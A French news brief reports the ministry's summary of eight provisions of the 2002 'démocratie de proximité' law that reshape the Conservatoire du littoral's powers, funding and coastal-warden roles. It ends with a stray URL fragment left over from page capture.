Le ministère de l'Environnement salue les 8 dispositions de la loi « démocratie de proximité » du 27 février 2002 qui rénovent le cadre d'action du Conservatoire du littoral et des rivages lacustres

Dans sa dernière édition (20/02), la lettre du ministère de l’Environnement, « Les dépêches du MATE », revient sur les 8 dispositions de la loi « démocratie de proximité » du 27 février 2002 qui, selon lui, rénovent le cadre d’action du Conservatoire du littoral et des rivages lacustres qui gère un patrimoine de plus de 65 000 hectares. Le partenariat entre le Conservatoire et les collectivités territoriales est rénové, avec notamment une extension du rôle des conseils de rivages, instances composées d’élus départementaux et régionaux. Le caractère de domanialité publique du domaine relevant du Conservatoire est généralisé ; l’intervention du Conservatoire sur les zones naturelles du domaine public maritime est facilitée, en application de l’objectif d’une gestion mieux intégrée des zones côtières. Les rôles respectifs du Conservatoire et des organismes assurant la gestion des sites (en grande majorité des collectivités locales) sont clarifiés. La taxe départementale des espaces naturels sensibles pourra être utilisée pour tous les aménagements des terrains du Conservatoire ; la « taxe Barnier » est étendue à l’ensemble des terrains dont le Conservatoire a la responsabilité. La fonction de « gardes du littoral », employés des gestionnaires en grande majorité des collectivités territoriales, est confirmée ; leur pouvoir de police sur les sites relevant du Conservatoire est renforcé et clairement défini, afin de mieux protéger les espaces naturels littoraux. Le transfert de la maîtrise d’ouvrage des travaux d’aménagement pourra être réalisé auprès des gestionnaires qui le souhaiteront ; ces derniers pourront par ailleurs équilibrer la charge lors de la perception des recettes. Le dispositif de droit de préemption prévu par le décret en 1975, et sur lequel l’établissement s’appuie pour acquérir, est renforcé. Les conditions de gestion et de financement de la protection des parties naturelles de la zone dite des « 50 pas géométriques » dans les départements d’Outre-mer (loi de 1996) sont améliorées et ce dispositif est étendu à la collectivité départementale de Mayotte. Ces réformes législatives seront complétées, au plan réglementaire, par un décret spécifique. L’ambition que le gouvernement veut assigner au Conservatoire est l’acquisition d’un tiers du littoral français. En sus d’un meilleur cadre juridique, l’établissement devra donc voir ses moyens humains et financiers augmentés à la hauteur de cet objectif. c=http://www.updatead.com/b.j

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